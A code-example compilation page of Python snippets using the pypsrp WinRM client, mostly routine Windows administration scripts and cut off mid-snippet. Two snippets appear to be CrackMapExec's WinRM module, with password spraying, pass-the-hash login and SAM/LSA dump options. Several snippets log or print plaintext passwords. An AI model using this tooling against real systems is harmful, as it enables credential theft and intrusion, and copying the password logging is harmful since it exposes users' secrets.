Esempio n. 1
0
class WinRMScan:

    def __init__(self, hostname, timeout):
        self.hostname = hostname
        self.timeout = timeout

        self.conn = None

        #TODO: use requests to check in http server for winrm is running

    def auth(self, domain=None, username=None, password=None, hash=None):

        if not username:
            raise AuthFailure('Username not specified')
        if not password and not hash:
            raise AuthFailure('Password or hash not specified')
        if not domain:
            domain = 'WORKGROUP'
        if hash != None and not ':' in hash:
            lmhash = '00000000000000000000000000000000:'
            hash = lmhash + hash

        try:
            if password:
                self.conn = Client(self.hostname, auth='ntlm', username=username, password=password, ssl=False, connection_timeout=self.timeout)
            else:
                self.conn = Client(self.hostname, auth='ntlm', username=username, password=hash, ssl=False, connection_timeout=self.timeout)

            # check if it works
            self.conn.execute_ps("hostname")

            return True
        except Exception as e:
            print('%s: %s' % (type(e), e))
            return False

    def execute(self, command, get_output=False):
        try:
            r = self.conn.execute_cmd(command)
        except:
            r = self.conn.execute_ps(command)
        return r[0]

    def ps_execute(self, command, get_output=False):
        r = self.conn.execute_ps(command)
        return r[0]

    def disconnect(self):
        pass
Esempio n. 2
0
def runpypsrp(fields):
    client = Client(fields[0].get(),
                    username=fields[1].get(),
                    password=fields[2].get())
    temp = ''
    temp, streams, had_errors = client.execute_ps("GetWindowsArtifacts.ps1")
    f = open('temp', 'a+')
    f.write(temp)
    f.close()
    multiprompt(0)
Esempio n. 3
0
class winrm(connection):

    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
        winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
        winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port")
        dgroup = winrm_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')

        cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        return parser

    def proto_flow(self):
        self.proto_logger()
        if self.create_conn_obj():
            self.enum_host_info()
            self.print_host_info()
            if self.login():
                if hasattr(self.args, 'module') and self.args.module:
                    self.call_modules()
                else:
                    self.call_cmd_args()

    def proto_logger(self):
        self.logger = CMEAdapter(extra={'protocol': 'WINRM',
                                        'host': self.host,
                                        'port': 'NONE',
                                        'hostname': 'NONE'})

    def enum_host_info(self):
        # smb no open, specify the domain
        if self.args.domain:
            self.domain = self.args.domain
            self.logger.extra['hostname'] = self.hostname
        else:
            try:
                smb_conn = SMBConnection(self.host, self.host, None)
                try:
                    smb_conn.login('', '')
                except SessionError as e:
                    if "STATUS_ACCESS_DENIED" in e.message:
                        pass

                self.domain = smb_conn.getServerDNSDomainName()
                self.hostname = smb_conn.getServerName()
                self.server_os = smb_conn.getServerOS()
                self.logger.extra['hostname'] = self.hostname

                try:
                    smb_conn.logoff()
                except:
                    pass

            except Exception as e:
                logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

    def print_host_info(self):
        if self.args.domain:
            self.logger.info(self.endpoint)
        else:    
            self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os,
                                                                    self.hostname,
                                                                    self.domain))
            self.logger.info(self.endpoint)
        

    def create_conn_obj(self):

        endpoints = [
            'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
            'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
        ]

        for url in endpoints:
            try:
                requests.get(url, verify=False, timeout=3)
                self.endpoint = url
                if self.endpoint.startswith('https://'):
                    self.port = self.args.port if self.args.port else 5986
                else:
                    self.port = self.args.port if self.args.port else 5985

                self.logger.extra['port'] = self.port

                return True
            except Exception as e:
                if 'Max retries exceeded with url' not in str(e):
                    logging.debug('Error in WinRM create_conn_obj:' + str(e))

        return False

    def plaintext_login(self, domain, username, password):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            self.conn = Client(self.host,
                                        auth='ntlm',
                                        username=u'{}\\{}'.format(domain, username),
                                        password=password,
                                        ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       password,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e): 
                self.logger.error(u'{}\\{}:{}'.format(self.domain,
                                                        username,
                                                        password))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
                                                        username,
                                                        password,
                                                        e))

            return False

    def hash_login(self, domain, username, ntlm_hash):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            lmhash = '00000000000000000000000000000000:'
            nthash = ''

            #This checks to see if we didn't provide the LM Hash
            if ntlm_hash.find(':') != -1:
                lmhash, nthash = ntlm_hash.split(':')
            else:
                nthash = ntlm_hash
                ntlm_hash = lmhash + nthash

            self.hash = nthash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash
            self.conn = Client(self.host,
                                        auth='ntlm',
                                        username=u'{}\\{}'.format(domain, username),
                                        password=ntlm_hash,
                                        ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       self.hash,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e): 
                self.logger.error(u'{}\\{}:{}'.format(self.domain,
                                                        username,
                                                        self.hash))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
                                                        username,
                                                        self.hash,
                                                        e))

            return False

    def execute(self, payload=None, get_output=False):
        try:
            r = self.conn.execute_cmd(self.args.execute)
        except:
            self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !')
            r = self.conn.execute_ps(self.args.execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.execute_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])
Esempio n. 4
0
#!/usr/bin/env python

import sys


from pypsrp.client import Client


def arg_check():
    if len(sys.argv) < 2:
        print('Warning: Need to provide ip for windows instance.')
        sys.exit(1)


if __name__ == '__main__':
    arg_check()

    server = sys.argv[1]
    ps = sys.argv[2]
    client = Client(server, username="******", password="******", ssl=False)

    # execute some powershell
    stdout, stderr, rc = client.execute_ps(ps)
    print("stdout:{}".format(stdout))
    print("stderr:{}".format(stderr))
    print("rc:{}".format(rc))
Esempio n. 5
0
                 help='Remote computer to run against, usually a DC')
par.add_argument('--user', type=str, help='Username')
par.add_argument('--password', type=str, help='Password')
par.add_argument('--ask-pass', help='Ask for password', action='store_true')
par.add_argument('--remove', help='Remove the record', action='store_true')
args = par.parse_args()
print(args)

if args.ask_pass:
    password = getpass.getpass("Enter password: "******"Specify password if ask-pass not setup")
        exit(-1)
    password = args.password
ms = Client(args.computer, username=args.user, password=password, ssl=False)

if args.remove:
    #Remove-DnsServerResourceRecord -ZoneName "contoso.com" -RRType "A" -Name "Host01" -RecordData "10.17.1.41"
    ps_cmd = "Remove-DnsServerResourceRecord -name '%s' -ZoneName '%s' -RecordData '%s' -RRType 'A' -force" % (
        args.name, args.zone, args.ip)
else:
    ps_cmd = "Add-dnsserverresourcerecorda -name '%s' -ZoneName '%s' -IPV4Address '%s' -AllowUpdateAny" % (
        args.name, args.zone, args.ip)
output, streams, had_errors = ms.execute_ps(ps_cmd)
print("Status: %s, Success: %s" % (output, not had_errors))

f = open("./test", "a")
f.write("Testing!!")
f.close()
Esempio n. 6
0
def sync_from_ms_dhcp_server(time_tag, ipam_token, ipam_addresses_url,
                             log_file, EMAIL_CONTENT_FILE, webex_teams_api):
    """Connect to DHCP server via PowerShell Remoting, import its dhcp scopes leases,
    then process them in IPAM using the passed ipam token, url and timestamp arguments.
    """

    client = Client(DHCP_SERVER_FQDN,
                    username=DHCP_SERVER_USERNAME,
                    password=DHCP_SERVER_PASSWORD,
                    ssl=DHCP_SERVER_SSL)

    # validate that all entered DHCP scopes in the list env variable are valid IP subnet addresses.
    # If any invalid entry is found, exit the program.
    for scope in DHCP_SERVER_SCOPES:
        if not is_valid_ipv4_address(scope):
            print("At least one invalid scope is found in MS DHCP Server scopes list. " \
                "Please use valid IP subnet DHCP scope entries and retry.")
            sys.exit(1)

    # All scopes are valid, proceed with the sync from the DHCP server:
    for scope in DHCP_SERVER_SCOPES:
        command = r"Get-DhcpServerv4Lease -Scopeid %s" % scope
        try:
            dhcp_server_output, streams, had_errors = client.execute_ps(
                command)
        except (requests.exceptions.Timeout,
                requests.exceptions.ConnectionError,
                pypsrp.exceptions.AuthenticationError,
                requests.exceptions.HTTPError) as error:
            print_with_timestamp_and_log("Unable to connect to the DHCP Server. Please verify " \
                "settings and reachability.", log_file)
            cleanup_before_exit(log_file, email_body, EMAIL_CONTENT_FILE)
            sys.exit(1)
        formatted_dhcp_server_output = dhcp_server_output.split("\n")
        print(
            "\nSyncing the leased hosts from the MS DHCP Server, scope %s..." %
            scope)
        log_file.write(
            "\nSyncing the leased hosts from the MS DHCP Server, scope %s...\n"
            % scope)
        # Iterate through the list of hosts leases for this scope, starting from index 3
        # to skip the empty line, then column names line, then the delimiter line:
        for lease in range(3, len(formatted_dhcp_server_output) - 2):
            lease_list = formatted_dhcp_server_output[lease].split()
            payload = ""
            # when length of lease_list is 8, this means all the fields are populated
            # including the hostname
            if (len(lease_list) == 8) & (lease_list[4] == "Active"):
                payload = {
                    "subnetId": str(PHPIPAM_SUBNET_ID),
                    "ip": lease_list[0],
                    "is_gateway": "0",
                    "description": lease_list[3],
                    "hostname": lease_list[3],
                    "mac": lease_list[2],
                    "owner": TAG_MSDHCP,
                    "note": str(time_tag)
                }
            # when length of lease_list is 7, this means the hostname field is empty.
            # MAC address field is shifted to the left after the string split.
            elif (len(lease_list) == 7) & (lease_list[3] == "Active"):
                payload = {
                    "subnetId": str(PHPIPAM_SUBNET_ID),
                    "ip": lease_list[0],
                    "is_gateway": "0",
                    "description": "N/A",
                    "hostname": "N/A",
                    "mac": lease_list[2],
                    "owner": TAG_MSDHCP,
                    "note": str(time_tag)
                }
            # Add the host to the IPAM if it's an active lease:
            if payload != "":
                process_host_in_ipam(lease_list[0], ipam_token,
                                     ipam_addresses_url, payload, log_file,
                                     email_body, EMAIL_CONTENT_FILE,
                                     webex_teams_api)
Esempio n. 7
0
def run():
    log_write('Sync vpn users...')
    # Проверка существования файла VPNUsersList
    try:
        userslist = open(get_config('VPNUsersList'), 'r').read().split()
    except IOError as err:
        open(get_config('VPNUsersList'), 'w')
        userslist = []
    #
    # Подключение к серверу Active Directory
    client = Client(get_config('ADServer') + "." + get_config('DomainRealm'),
                    auth="kerberos",
                    ssl=False,
                    username=get_config('ADUserName'),
                    password=get_config('ADUserPassword'))
    # Получение списка пользователей и их паролей для тех, у кого поле wwwhomepage начинается с VPNMask
    script = """([adsisearcher]"(objectcategory=user)").FindAll() | where {$_.properties['wwwhomepage'] -like '""" + get_config(
        'VPNMask'
    ) + """*'} | %{ $_.GetDirectoryEntry() } | ForEach-Object {$_.samaccountname, $_.wwwhomepage}"""
    try:
        adusers, streams, had_error = client.execute_ps(script)
    except:
        log_write('[adsisearcher] objectcategory=user powershell error')
    adusers = adusers.splitlines()
    #
    # Добавление и обновление пользователей
    pos = 0
    while pos < len(adusers):
        # Получение исходного пароля пользователя
        password = adusers[pos + 1][len(get_config('VPNMask')):]
        if len(password) > 5:  # Проверка длины пароля
            # Генерирование соли и пароля пользователя
            sha_salt = os.urandom(10)
            password = sha_salt.hex() + hashlib.pbkdf2_hmac(
                hash_name='sha256',
                password=password.encode(),
                salt=sha_salt,
                iterations=100).hex()
            try:
                userpos = userslist.index(adusers[pos])
                userslist[userpos + 1] = password
                log_write('Updated user ' + adusers[pos])
            except ValueError:
                userslist.append(adusers[pos])
                userslist.append(password)
                log_write('Added user ' + adusers[pos])
        else:
            # Удаление пользователя и его пароля (не соответствие длины пароля)
            adusers.pop(pos)
            adusers.pop(pos)
        pos = pos + 2
    #
    # Удаление из списка userslist, пользователей более не присутствующих в adusers
    for user in userslist[::2]:
        try:
            adusers.index(user)
        except ValueError:
            pos = userslist.index(user)
            # Удаление пользователя и его пароля
            userslist.pop(pos)
            userslist.pop(pos)
            log_write('Deleted user ' + user)
    #
    # Запись в файл VPNUsersList
    with open(get_config('VPNUsersList'), 'w') as result:
        pos = 0
        while pos < len(userslist):
            result.write(userslist[pos] + ' ' + userslist[pos + 1] + '\n')
            pos += 2
Esempio n. 8
0
class Server:

    # Initiation de l'objet
    def __init__(self, **attributes):
        for attr_name, attr_value in attributes.items():
            setattr(self, attr_name.strip(), str(attr_value).strip())

    # Afficher l'objet avec la fonction dir
    # Retourne un objet json
    def __repr__(self):
        return json.dumps(self.__dict__)

    # Afficher l'objet avec la fonction print
    # Retourne un objet json
    def __str__(self):
        return json.dumps(self.__dict__)

    # Transforme une chaîne de caractères en une liste
    # Retourne une liste
    def __strToList(self, data):
        data = data.split("\n")
        listData = []
        for i in range(len(data)):
            if i > 2 and data[i].strip() != '':
                listData.append(data[i].strip())
        return listData

    # Créer une connexion entre la machine Linux et un serveur Windows Server en utilisant le module pypsrp
    def creatServer(self):
        self.client = None
        try:
            self.client = Client(self.name, username=self.username, password=self.password, ssl=False)
        except:
            print("Problème de connexion au server [ %s ] !!" % self.name)

    # Retourne une liste contenant les DistinguishedName existants dans un serveur Windows Server
    def getAllPaths(self):
        paths =[]
        err = False
        script = "Get-ADOrganizationalUnit -Filter 'Name -notlike \"Domain Controllers\"' | Format-Table DistinguishedName -A"
        try:
            output, streams, had_errors = self.client.execute_ps(script)
            if had_errors:
                print("For", path, "\n".join([str(s) for s in streams.error]))
            elif len(output) > 0:
                paths = self.__strToList(output)
        except:
            err = True
            print("Problème de connexion au moment de la consultation des comptes utilisateurs !!")
        return err, paths

    # Retourne une liste contenant l'ensemble des utilisateurs existants dans une machine Windows Server
    def getAllUsers(self):
        listUsers =[]
        err = False
        errpath, paths = self.getAllPaths()
        if errpath:
            err = True
            return err, listUsers
        for path in paths:
            script = "Get-ADUser -Filter * -SearchBase '%s' | Format-Table DistinguishedName -A" % path
            try:
                output, streams, had_errors = self.client.execute_ps(script)
                if had_errors:
                    print("For", path, "\n".join([str(s) for s in streams.error]))
                elif len(output) > 0:
                    listUsers = self.__strToList(output)
            except:
                err = True
                print("Problème de connexion au moment de la consultation des comptes utilisateurs !!")
                break
        return err, listUsers
Esempio n. 9
0
import os
from pypsrp.client import Client

username = os.environ["ANSIBLE_WIN_USER"]
password = os.environ["ANSIBLE_WIN_PASSWORD"]
print(username)
print(password)

# this takes in the same kwargs as the WSMan object
client = Client("localhost", port=5985, ssl=False, cert_validation=False, username=username, password=password)
# execute a cmd command
stdout, stderr, rc = client.execute_cmd("dir")
print(stdout)
stdout, stderr, rc = client.execute_cmd("powershell.exe gci $pwd")
print(stderr)

exit()

sanitised_stderr = client.sanitise_clixml(stderr)
# execute a PowerShell script
output, streams, had_errors = client.execute_ps('''$path = "%s"
if (Test-Path -Path $path) {
    Remove-Item -Path $path -Force -Recurse
}
New-Item -Path $path -ItemType Directory''' % path)
output, streams, had_errors = client.execute_ps("New-Item -Path C:\\temp\\folder -ItemType Directory")
# copy a file from the local host to the remote host
client.copy("~/file.txt", "C:\\temp\\file.txt")
# fetch a file from the remote host to the local host
client.fetch("C:\\temp\\file.txt", "~/file.txt")
Esempio n. 10
0
 def run(self):
     # Запись в лог файл
     log_write('Thread getting_clients running')
     try:
         # Подключение к базе
         conn_pg = psycopg2.connect(database='nifard',
                                    user=get_config('DatabaseUserName'),
                                    password=get_config('DatabasePassword'))
     except psycopg2.DatabaseError as error:
         log_write(error)
         sys.exit(1)
     while not app_work.empty():
         result = ''
         # Очистка списка новых клиентов
         self.ip_clients.clear()
         while not app_work.empty():
             for Server in get_config('ADServer').split():
                 self.error = False
                 # Подключение к серверу
                 client = Client(Server + "." + get_config('DomainRealm'),
                                 auth="kerberos",
                                 ssl=False,
                                 username=get_config('ADUserName'),
                                 password=get_config('ADUserPassword'))
                 # Получение журнала security по событию 4624, фильтрация по пользователям с полями: ip адрес, имя пользователя, домен
                 script = """Get-EventLog -LogName security -ComputerName """ + Server + """ -Newest 200 -InstanceId 4624 | Where-Object {($_.ReplacementStrings[5] -notlike '*$*') -and ($_.ReplacementStrings[5] -notlike '*/*') -and ($_.ReplacementStrings[5] -notlike '*АНОНИМ*') -and ($_.ReplacementStrings[18] -notlike '*-*')} | Select-Object @{Name="IpAddress";Expression={ $_.ReplacementStrings[18]}},@{Name="UserName";Expression={ $_.ReplacementStrings[5]}},@{Name="Domain";Expression={ $_.ReplacementStrings[6]}} -Unique"""
                 try:
                     result, streams, had_error = client.execute_ps(script)
                 except:
                     log_write('Get-EventLog powershell error')
                     self.error = True
                     if app_work.empty():
                         break  # Повторная проверка на завершение потока
                     time.sleep(5)
                 if not self.error:
                     break
             if not self.error:
                 break
         #
         # Цикл добавления клиентов, полученных из журнала, в список
         for line in result.splitlines():
             if line.find(get_config(
                     'ADUserIPMask')) != -1 and line not in self.ip_clients:
                 # Получение параметров клиента
                 ip_addr = line.split()[0]  # IP адрес клиента
                 username = line.split()[1]  # Имя пользователя
                 domain = line.split()[2].lower() + get_config(
                     'DomainRealm')[get_config('DomainRealm').find(
                         '.'):]  # Домен, с корректировкой по конфигу
                 try:
                     computer = socket.gethostbyaddr(ip_addr)[
                         0]  # Имя компьютера
                     computer = computer[0:computer.find(
                         '.'
                     )] if computer.find(
                         '.'
                     ) != -1 else computer  # Имя компьютера без доменной части
                 except OSError:
                     computer = '*'  # Не получено имя компьютера
                     pass
                 if computer == '':
                     computer = '*'
                 # Добавление нового клиента в список
                 self.ip_clients.append(ip_addr)
                 self.ip_clients.append(username)
                 self.ip_clients.append(computer)
                 self.ip_clients.append(domain)
         #
         if app_work.empty():
             break  # Повторная проверка на завершение потока
         #
         # Цикл добавления клиентов, полученных из очереди, в список
         while not self.todolist.empty():
             ip_addr = self.todolist.get()  # IP адрес клиента
             # Проверка, что ip адреса ещё нет в списке
             if ip_addr not in self.ip_clients:
                 username = '******'  # Имя пользователя неизвестно
                 computer = '*'  # Имя компьютера неизвестно
                 domain = 'Domain Unknown'  # Домен не известен
                 try:
                     computer = socket.gethostbyaddr(ip_addr)[
                         0]  # Имя компьютера
                 except OSError:
                     pass
                 if computer.find('.') != -1:
                     domain = computer[computer.find('.') +
                                       1:]  # Имя домена
                     computer = computer[0:computer.find(
                         '.')]  # Имя компьютера без доменной части
                 # Добавление нового клиента в список
                 self.ip_clients.append(ip_addr)
                 self.ip_clients.append(username)
                 self.ip_clients.append(computer)
                 self.ip_clients.append(domain)
         log_write('Newest ' + str(len(self.ip_clients) // 4) +
                   ' ip addresses')
         #
         # Цикл добавления новых клиентов в базу
         for pos in range(0, len(self.ip_clients), 4):
             ip_addr = self.ip_clients[pos]  # IP адрес клиента
             username = self.ip_clients[pos + 1]  # Имя пользователя
             computer = self.ip_clients[pos + 2]  # Имя компьютера
             domain = self.ip_clients[pos + 3]  # Имя домена
             osversion = ''
             speed_computer = get_config('ADGroupInternetMask') + 'disable'
             #
             # Проверка операционной системы компьютера
             while not app_work.empty():
                 for Server in get_config('ADServer').split():
                     self.error = False
                     # Подключение к серверу
                     client = Client(Server + "." +
                                     get_config('DomainRealm'),
                                     auth="kerberos",
                                     ssl=False,
                                     username=get_config('ADUserName'),
                                     password=get_config('ADUserPassword'))
                     # Проверка операционной системы компьютера
                     script = """([ADSISEARCHER]'cn=""" + computer + """').Findone().Properties.operatingsystem"""
                     try:
                         osversion, streams, had_error = client.execute_ps(
                             script)
                     except:
                         log_write(
                             '[ADSISEARCHER] Operatingsystem powershell error'
                         )
                         self.error = True
                         if app_work.empty():
                             break  # Повторная проверка на завершение потока
                         time.sleep(5)
                     if not self.error:
                         break
                 if not self.error:
                     break
             if not osversion:
                 osversion = 'OS Unknown'
             #
             # Получение скорости для текущего компьютера
             for Server in get_config('ADServer').split():
                 self.error = False
                 time.sleep(5)
                 # Подключение к серверу
                 client = Client(Server + "." + get_config('DomainRealm'),
                                 auth="kerberos",
                                 ssl=False,
                                 username=get_config('ADUserName'),
                                 password=get_config('ADUserPassword'))
                 # Получение скорости для текущего компьютера в верхнем регистре (фильтрация по группе доступа в Интернет)
                 script = """([ADSISEARCHER]'cn=""" + computer + """').Findone().Properties.memberof -replace '^CN=([^,]+).+$','$1' -like '""" + get_config(
                     'ADGroupInternetMask') + """*'"""
                 try:
                     speed, streams, had_error = client.execute_ps(script)
                 except:
                     log_write(
                         '[ADSISEARCHER] Memberof(Computer Internet) powershell error'
                     )
                     self.error = True
                 if self.error or app_work.empty(): break
             try:
                 # Установка результирующей группы скорости
                 speed_computer = speed.split()[0]
                 if speed_computer == 'False':
                     speed_computer = get_config(
                         'ADGroupInternetMask') + 'disable'
             except:
                 speed_computer = get_config(
                     'ADGroupInternetMask') + 'disable'
             #
             # Запись в лог файл
             log_write('Newest ' + ip_addr + ' ' + username + ' ' +
                       computer + '[' + domain + ']' + ' speed[' +
                       speed_computer + '] (' + osversion + ')')
             if app_work.empty():
                 break  # Повторная проверка на завершение потока
             #
             # Поиск в базе выбранного ip адреса
             cursor = conn_pg.cursor()
             try:
                 cursor.execute("select * from users where ip = %s;",
                                (ip_addr, ))
             except psycopg2.DatabaseError as error:
                 log_write(error)
                 sys.exit(1)
             rows = cursor.fetchall()
             for row in rows:
                 ip_addr_db = row[0]  # IP адрес из базы
                 username_db = row[1]  # Имя пользователя из базы
                 computer_db = row[2]  # Имя компьютера из базы
                 domain_db = row[3]  # Имя домена из базы
                 speed_db = row[4]  # Группа скорости из базы
                 break
             #
             # Если ip адреса нет в базе, добавляем
             if not rows:
                 try:
                     cursor.execute(
                         "insert into users values (%s, %s, %s, %s, %s, 0);",
                         (
                             ip_addr,
                             username,
                             computer,
                             domain,
                             speed_computer,
                         ))
                 except psycopg2.DatabaseError as error:
                     log_write(error)
                     sys.exit(1)
                 # Запись в лог файл
                 log_write('Insert ' + ip_addr + ' ' + username + ' ' +
                           computer + ' ' + speed_computer)
                 conn_pg.commit()
             #
             if rows:
                 # Если изменилось имя пользователя, имя компьютера, имя домена или группа скорости
                 # При этом имя пользователя, компьютера или домена, меняется только на другое имя (не на '*')
                 update_log = ''
                 if str(username) != str(username_db) and str(
                         username) != '*':
                     update_log = update_log + ' ' + str(
                         username_db) + '->' + str(username)
                     username_db = username
                 if str(computer) != str(computer_db) and str(
                         computer) != '*':
                     update_log = update_log + ' ' + str(
                         computer_db) + '->' + str(computer)
                     computer_db = computer
                 if str(domain) != str(domain_db) and str(
                         domain) != 'Domain Unknown':
                     update_log = update_log + ' ' + str(
                         domain_db) + '->' + str(domain)
                     domain_db = domain
                 if str(speed_computer) != str(speed_db):
                     update_log = update_log + ' ' + str(
                         speed_db) + '->' + str(speed_computer)
                     speed_db = speed_computer
                 try:
                     # Запись в лог файл, если что-то изменилось в базе
                     if update_log != '':
                         cursor.execute(
                             "update users set username = %s, computer = %s, domain = %s, speed = %s where ip = %s;",
                             (
                                 username_db,
                                 computer_db,
                                 domain_db,
                                 speed_db,
                                 ip_addr,
                             ))
                         log_write('Update ' + ip_addr + update_log)
                 except psycopg2.DatabaseError as error:
                     log_write(error)
                     sys.exit(1)
                 # Комит всех транзакций
                 conn_pg.commit()
             # Закрытие курсора
             cursor.close()
         # Ожидание потока
         for tick in range(5):
             if app_work.empty():
                 break
             time.sleep(1)
     conn_pg.close()
     # Запись в лог файл
     log_write('Thread getting_clients stopped')
     # Удаление потока из списка
     self.threads_list.get()
Esempio n. 11
0
    async def exec_powershell_script_dependencies(self, hosts, shell_type,
                                                  arguments, dependency_folder,
                                                  destination_folder, username,
                                                  password, transport,
                                                  server_cert_validation,
                                                  message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param commands: array of commands in which you want to run on every host
        :param dependency_folder: Specifies the local folder to copy
        :param destination_folder: Specifies the destination folder to copy and delete
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Connecting to {host}")
            results[host] = []

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)
                client = Client(host,
                                ssl=server_cert_validation,
                                auth=transport,
                                encryption=message_encryption,
                                username=username,
                                password=password)

                self.logger.info(f"Copying to {host}")
                for root, dirs, files in os.walk(dependency_folder):
                    root_folder = destination_folder + "\\" + os.path.basename(
                        root)
                    output, streams, had_errors = client.execute_ps('''
                        $path = "%s"

                        if(!(Test-Path -Path $path )){
                            New-Item -ItemType directory -Path $path
                            Write-Host "New folder created"
                        }''' % root_folder)

                    results[host].append({
                        "stdout": output,
                        "had_errors": had_errors
                    })
                    for file in files:
                        client.copy(os.path.join(root, file),
                                    root_folder + "\\" + file)

                self.logger.info(f"Executing on {host}")

                # execute scripts
                with WinRS(wsman) as shell:
                    #Changes directory to dependency root and appends folder removal to end
                    arguments = f"cd {destination_folder};" + '; '.join(
                        arguments)
                    self.logger.info(f"{arguments}")
                    process = Process(shell, shell_type, [arguments])
                    process.invoke()
                    results[host].append({
                        "stdout": process.stdout.decode(),
                        "stderr": process.stderr.decode()
                    })

                    arguments = f"Remove-Item -Recurse {destination_folder}"
                    self.logger.info(f"Removing from {host}")
                    process = Process(shell, shell_type, [arguments])
                    process.invoke()
                    process.signal(SignalCode.CTRL_C)

            except Exception as e:
                import traceback
                tb = traceback.format_exc()
                results[host].append({
                    "stdout": "",
                    "stderr": f"{e}",
                    "exception": f"{tb}"
                })

        return results
Esempio n. 12
0
class winrm(connection):
    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.output_filename = None

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm',
                                         help="own stuff using WINRM",
                                         parents=[std_parser, module_parser])
        winrm_parser.add_argument(
            "-H",
            '--hash',
            metavar="HASH",
            dest='hash',
            nargs='+',
            default=[],
            help='NTLM hash(es) or file(s) containing NTLM hashes')
        winrm_parser.add_argument(
            "--no-bruteforce",
            action='store_true',
            help=
            'No spray when using file for username and password (user1 => password1, user2 => password2'
        )
        winrm_parser.add_argument(
            "--continue-on-success",
            action='store_true',
            help="continues authentication attempts even after successes")
        winrm_parser.add_argument("--port",
                                  type=int,
                                  default=0,
                                  help="Custom WinRM port")
        winrm_parser.add_argument("--ssl",
                                  action='store_true',
                                  help="Connect to SSL Enabled WINRM")
        winrm_parser.add_argument("--ignore-ssl-cert",
                                  action='store_true',
                                  help="Ignore Certificate Verification")
        winrm_parser.add_argument("--laps",
                                  dest='laps',
                                  metavar="LAPS",
                                  type=str,
                                  help="LAPS authentification",
                                  nargs='?',
                                  const='administrator')
        dgroup = winrm_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d",
                            metavar="DOMAIN",
                            dest='domain',
                            type=str,
                            default=None,
                            help="domain to authenticate to")
        dgroup.add_argument("--local-auth",
                            action='store_true',
                            help='authenticate locally to each target')

        cgroup = winrm_parser.add_argument_group(
            "Credential Gathering", "Options for gathering credentials")
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("--sam",
                             action='store_true',
                             help='dump SAM hashes from target systems')
        cegroup.add_argument("--lsa",
                             action='store_true',
                             help='dump LSA secrets from target systems')

        cgroup = winrm_parser.add_argument_group(
            "Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output',
                            action='store_true',
                            help='do not retrieve command output')
        cgroup.add_argument("-x",
                            metavar="COMMAND",
                            dest='execute',
                            help="execute the specified command")
        cgroup.add_argument("-X",
                            metavar="PS_COMMAND",
                            dest='ps_execute',
                            help='execute the specified PowerShell command')

        return parser

    def proto_flow(self):
        self.proto_logger()
        if self.create_conn_obj():
            self.enum_host_info()
            if self.print_host_info():
                if self.login():
                    if hasattr(self.args, 'module') and self.args.module:
                        self.call_modules()
                    else:
                        self.call_cmd_args()

    def proto_logger(self):
        self.logger = CMEAdapter(
            extra={
                'protocol': 'SMB',
                'host': self.host,
                'port': 'NONE',
                'hostname': 'NONE'
            })

    def enum_host_info(self):
        # smb no open, specify the domain
        if self.args.domain:
            self.domain = self.args.domain
            self.logger.extra['hostname'] = self.hostname
        else:
            try:
